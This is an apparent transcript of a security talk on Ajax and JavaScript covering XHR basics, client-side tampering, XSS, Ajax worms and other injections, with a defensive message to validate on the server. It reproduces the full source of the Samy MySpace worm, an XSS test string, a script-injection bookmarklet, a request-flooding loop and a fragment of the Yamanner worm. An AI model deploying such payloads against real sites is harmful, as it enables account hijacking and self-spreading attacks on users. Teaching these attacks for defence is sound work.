Slideshow transcript
Slide 1: Investigating JavaScript and Ajax Security Presented By: Eric Pascarello
Slide 2: Background on Eric Pascarello ► Author of: Ajax In Action [Manning] JavaScript: Your visual blueprint for building dynamic Web pages (2nd ed) [Wiley] ► HTML and JavaScript Moderator at JavaRanch.com since 2001 ► Developer at Market10.com ► Perform talks on Ajax around the world.
Slide 3: What we are going to investigate ► Ajax Model ► Classic Postback Model ► Form Hacks ► XSS - JavaScript Injection ► Ajax Worms ► Other Injections
Slide 4: One thing everyone must do: Use Common Sense!
Slide 5: What is Ajax exactly?
Slide 6: Quick Intro to Ajax ► Ajax is Asynchronous JavaScript and XML ► Coined by Jesse James Garrett of Adaptive Path ► Not a language! ► Uses JavaScript on the client and any Language on the Server
Slide 7: Ajax Security Makes a lot of news because of: ► Inexperienced developers working with technologies they do not understand! PHP + FREE SERVERS + MySQL + AJAX = BIG SECURITY HOLES JavaScript: ► The Cutting Edge Technology of Ctrl-C and Ctrl-V ► Tutorials, Articles, and Books skipping the security aspect. ► Tons of High Profile Websites using it!
Slide 8: Adaptive Path’s Original Diagram
Slide 9: The Real Life Diagram Of Ajax How to explain Ajax to your non-geek friends THE COLLEGE PARTY
Slide 10: The Bleak Situation
Slide 11: The Non-Ajax Solution ► Figure out what is more important and rank order of operation. ► Should I clean the mess, get food, or update the outdated music collection? ► Perform one task and do the others after each other. Hopefully I have enough time! Go to Store, Download Music, Clean Apartment so it can be trashed again.
Slide 12: The Ajax Solution Do multiple things at once! ► Hire a maid to do the ► cleaning! Order delivery pizza! ► And I can download new ► music while others do the dirty work! Ajax Clean!
Slide 13: The “Ajax Engine” ► The XMLHttpRequest Object Allows us to send information server without post backs Makes the request and receives the data back Can be asynchronous or synchronous ► Same Domain Policy Can not make requests to other domains
Slide 14: The XHR Object ► The Gecko / Safari / IE7 Object Constructor req = new XMLHttpRequest(); ► The ActiveX for IE 5 to IE 6 req = new ActiveXObject("Microsoft.XMLHTTP"); OR req = new ActiveXObject("Msxml2.XMLHTTP");
Slide 15: XHR Object Methods Method Description abort() Stops the current request getAllResponseHeaders() Returns all header (labels/value) sets getResponseHeader("headerLabel") Returns value of a specified header label open("method", "URL"[, asyncFlag[, The heart and soul! Sets destination "userName"[, "password"]]]) URL, method, and other optional attributes send(content) Transmits the request setRequestHeader("label", "value") Assigns header to be sent with a request
Slide 16: XHR open() ► open("method", "URL", asyncFlag); method = GET or POST URL = Page to request asyncFlag = True or False
Slide 17: send(parameters) ► Send is like clicking the submit button on a form. ► The parameters should be set to null or empty string if you are not posting any information. ► If you are posting, the name/value pairs should look like a querystring without the question mark. req.send("foo=bar&ajax=123"); ► Ifyou are using GET, append the values to the URL in the open method. Remember GET has a size limitation. ► If you want to send information, you have to add it manually. No free ride like a form!
Slide 18: XHR Object Properties Property Description onreadystatechange Event handler for an event that fires at every state change readyState Object status integer responseText String version of data returned from server process responseXML DOM-compatible document object of data returned from server process status Numeric code returned by server, such as 404 for "Not Found" or 200 for "OK" statusText String message accompanying the status code
Slide 19: onreadystatechange ► The objects only event handler. ► It is fired only when in asynchronous mode 3rd parameter is set to true in the open method ► Itis fired a total of 4 times. ► We can assign a reference to a function or build a anonymous function to it req.onreadystatechange = functionName; req.onreadystatechange = function(){ //statements }
Slide 20: readyState values 0 - Uninitialized ► The initial value when new reference to Object is created 1 - Open ► The open() method has been successfully called. 2 - Sent ► The request made it, but no data has yet been received. 3 - Receiving ► All HTTP headers have been received. Value set right before receiving the message body 4 - Loaded ► The data transfer has been completed. We can now play with the data!
Slide 21: status ► We are looking for a value of 200 ► Ifyou are working on the file protocol (eg: local disk not on a web server) than you are looking for a value of 0 [zero]). ► Yes the XMLHttpRequest object can be run off of the Active Desktop. ► Can be read when readyState = 4
Slide 22: Basic Example of code var req = GetXHRObject(); req.open("POST", "secure.aspx", true); req.onreadystatechange = finishRequest; req.send("foo=bar&ajax=123"); BasicExample1.html
Slide 23: I CAN VIEW THE SOURCE ►I can see the page that it is requesting from the JavaScript code! ► I can see the parameters being sent! ► I can see the validation! ► I can see the Business Logic! ► I can rule the world!
Slide 24: Before We Surrender to Fear Let us look at the classic postback and Ajax models in detail
Slide 25: What is Different? Ajax POST var req = GetXHRObject(); req.open("POST", "secure.php", true); req.onreadystatechange = finishRequest; req.send("foo=bar&ajax=123"); Regular Form POST <form action="secure.php" method="POST"> <input type="text" name="foo" value="bar"> <input type="hidden" name="ajax" value="123"> <input type="submit" name="sub1"> </form>
Slide 26: A Web 2.0 Web Site
Slide 27: Major Cause Of Security Concerns ► Ajax model uses WebServices Legacy or New Return HTML/TEXT/JSON/XML/ETC ► MoreAjax Functionality = More WebServices = More places to attack Just need to forget one thing to make a new hole ► Yes you can use the XMLHttpRequest Object to make requests without the users knowledge. We can also use images, iframes, frames, popup windows.
Slide 28: Major Cause Of Security Concerns ► Business Logic ► Building Proxy Services to talk to outside domains ► Displaying User Content Tags, forums, blogs, comments, etc
Slide 29: Grandma is a Hacker ► Everyone is giving you bad data. ► Everyone is trying to hack you ► Everyone wants to cause a DOS attack on your server! ► VALIDATE ON THE SERVER!
Slide 30: Business Logic Security ► JavaScript is basically open source. ► Use JavaScript as the rendering Engine ► Validate the info on the server! Use ClientSide validation as a mechanism to save user time and bandwidth ► JavaScript Obfuscation is easily reversed! Don’t waste your money!
Slide 31: The First Get Some Common Sense Award Goes To: A tutorial on Ajax to display data into a textarea ► function getOnlineClass() { var url = 'http://localhost/MyOnlineClass?sql=SELECT* from LOP FOR XML AUTO &root=DSLOP'; http.open("GET", url, true); http.onreadystatechange = useHttpResponse; http.send(null); } I wish I would have made this up!
Slide 32: So You Think Your Form Is Safe? ► Example ► Address bar is our friend for reckoning havoc! ► javascript:yourStatements;void(0); ► Add an external JavaScript file! javascript:var a=document.createElement("script");a.src="http://url/foo.js";document.bod y.appendChild(a);void(0);
Slide 33: Hidden Fields Are Editable? The Bookmarklet and the Example ► Bookmarklets makes it easy to execute code instead of ► manually adding it to the address bar. What is a bookmarklet? ► JavaScript statement(s) stored in a favorites link! How can I do this? Create a link on a webpage, save the ► page, open it, right click on the link, add to favorites. <a href="javascript:alert(new Date());void(0);">Show Time</a>
Slide 34: Who Needs ServerSide Validation When We Have ClientSide Checks? ► Example ► Whywaste time disabling JavaScript when we can just override the annoying function! ► Setevent handlers, functions, variables from status bar!
Slide 35: Simple Scripted Attacks On A Server var req = new Array(); for(var i = 0; i<1000; i++){ req[i] = GetXHRObject(); req[i].open("POST", "secure.aspx", true); req[i].onreadystatechange = function(){}; req[i].send("foo=" + i); }
Slide 36: Is This A Vulnerability? YES or NO
Slide 37: What is your browser telling others about you? ► The advertisers dream, the health insurance companies dream, your snooping boss’s dream JavaScript. ► The links are telling us where we have been! ► Example: Is it a vulnerability or a feature?
Slide 38: So with some JavaScript we can test where you been ► Targeted Advertising for geeks, gamers, pet owners, sports fans, porn lovers, etc. ► Medical Privacy: Look to see if you been on Cancer Sites, looking at sites on Heart conditions, etc. ► Your Company can check to see if you are doing online shopping without installing loggers! ► Scan for Google Searches Only Problem: caps matter! ► http://www.google.com/search?q=Eric+Pascarello ► http://www.google.com/search?q=eric+pascarello
Slide 39: Let Us Now Look AT XSS ► Cross Site Scripting (XSS) allows for malicious people to inject HTML, JavaScript, PHP, PERL, CSS, etc. into a Web page. ► Gets around same domain policy ► Allow injection of browser vulnerability code ► Allows for people to steal information ► Can create real annoying for-loop alert attacks!
Slide 40: The Second Get Some Common Sense Award Goes To: ► Ask.com ► They allow you to save your preference settings on their site with a form. Problem is it is a GET! http://www.ask.com/webprefs?addr1=&addr2=&qsrc ► =106&pu=100&padlt=1&pcn=FR&psave=Save+my+settings The link will change the settings on their site to show 100 results, ► change the adult filter, country, etc. Don’t update settings with GET ► Set a hidden iFrame/image with this URL and you can change ► everyone’s settings that come to your web site. The Google Toolbar used to has this same problem when it was first ► implemented!
Slide 41: Biggest Offenders in XSS Web Pages that use ► Search Pages Guestbooks RSS Readers Blog Comments Web based chat/games Error Pages Anywhere user can insert data and it is redisplayed back ► without removing the escaping the user’s input! Example Time with a Popular Website’s Search! (link not ► included!)
Slide 42: Test For JavaScript Injection ► Step 1: type in <script>alert("hi");</script> into any field on a page. ► Step 2: Submit the page ► Step 3: If you see the alert, you got success! If no alert continue ► Step 4: View Source of Page and look for the code you added ► Step 5: See if they are escaping everything correctly. ► Step 6: Try the injections on the next slide
Slide 43: Cross Site Scripting Cheat Sheet Esp: for filter evasion ► http://ha.ckers.org/xss.html ► Website has a long list of ways to get past filters. ► Spend some time and go through the list!
Slide 44: Combine Visited Links with XSS ► So lets say we have a list of XSS hacks we know about. Lets say Bank MoneyBags has a XSS hole. ►A surfer checks their balance at BankMoneyBags.com and did not sign out. He just surfed away. ► The Surfer Went to site where this visited links code was. ► Positive match was found for the Bank link, XSS link is fired into iFrame / pop-up window / image. ► And the money is now in a Swiss Account!
Slide 45: What can be done? ► Add key listeners and send data to outside servers. ► Change user names, passwords, preferences ► Sniff out and steal sensitive data ► Annoy users with infinite alert loops! ► Send email ► Add posts to forms ► How much damage can Ajax plus XSS? We are talking about JavaScript!
Slide 46: Real Life JavaScript Injections with Ajax! ► Samy [http://en.wikipedia.org/wiki/Samy_(XSS)] MySpace.com Ajax based worm that added user to friend’s list October 4, 2005 20 Hours Over 1 million users had been effected Flaw was based on CSS background image
Slide 47: The code of Samy <div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.s earch}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=- 1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form- urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewI nterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?f useaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXML Obj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content- Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>
Slide 48: Samy Injection Highlight ► <div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34 This injection is listed on http://ha.ckers.org/xss.html ► (Scroll past the halfway point on the page to see it!)
Slide 49: Yahoo gets attacked! Yamanner [http://en.wikipedia.org/wiki/Yamanner] ► Yahoo! Mail worm June 12, 2006 Sent users address book to remote server <img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_ mail_1.gif' target=""onload="var http_request = false; Have link to full code on my blog: http://radio.javaranch.com/pascarello/2006/06/13/11502102
Slide 50: JavaScript Port Scanning? ► JavaScript Port Scanning can be done! http:// www.spidynamics.com/assets/documents/JSportscan.pdf ► General Summary From White Paper Code gets injected into intranet web page Every Server Installation has default images JavaScript scans IP ranges for defaults If image has width/height, we know the server type, and IP address. Post data back to outside server
Slide 51: JSON Injection ► JavaScriptObject Notation (normally preferred over XML format) ► Can bypass the Cross Site Scripting Restrictions ► http://www.pascarello.com/examples/JsonYahooExam ► Problem with this: Code is eval()/injected onto page to make it usable for JavaScript. Have to trust your source they do not embed other code! Preferred method is to loop through the data. Check out JSON.org for more information!
Slide 52: Other Injections SQL Injection ► Quick test in an URL insert ' to the querystring and see if you get an error message! …com?ID=314'159 CSS Injection ► Change the cached CSS file on the local machine! Screw with your friends that Digg is now pink! Hide the log in fields, move elements around! XML/SOAP ► Page can be loaded with bad data or data can be sent with bad data to the server! DOM Injection ► Additional elements can be added, removed, changed, etc. Cookies ► Delete, Add, Change, and see what happens to the sessions!
Slide 53: Same Domain Policy Workaround: Proxy!
Slide 54: What is bad about this? ► Inject JavaScript code onto page. Free data mining service with unlimited access! Most proxy services have limited access unless you have good relations! ► DOS service attacks Remember that Ajax For Loop making requests! DOS the site, proxy thinks that the server is attacking them. Rest of users on site lose the functionality
Slide 55: Other Tools ► Firefox Extensions Firebug – view the XMLHttpRequests Selenium – Record scripts and replay them! JSView – See All JavaScript/CSS with a click Modify Headers – (what the name implies!) NoScript – Turn off or limit scripts ► Fiddler and other Proxys– Watch all traffic
Slide 56: Quick Summary Ajax Adds more attack vectors ► Do what you always done on the server! Keep the business logic on the server Validate on the server ►White List / Blacklist Check/Remove Injections ► Remember that Proxys can be abused! ► Use Common Sense
Slide 57: Questions ► Email: askEric@pascarello.com ► Blog: http://radio.javaranch.com/pascarello ► Forums: http://saloon.JavaRanch.com ► Ajax In Action: http://www.manning.com/crane ► Need a Job? http://www.market10.com




Add a comment on Slide 1
If you have a SlideShare account, login to comment; else you can comment as a guest- Favorites & Groups
Showing 1-50 of 5 (more)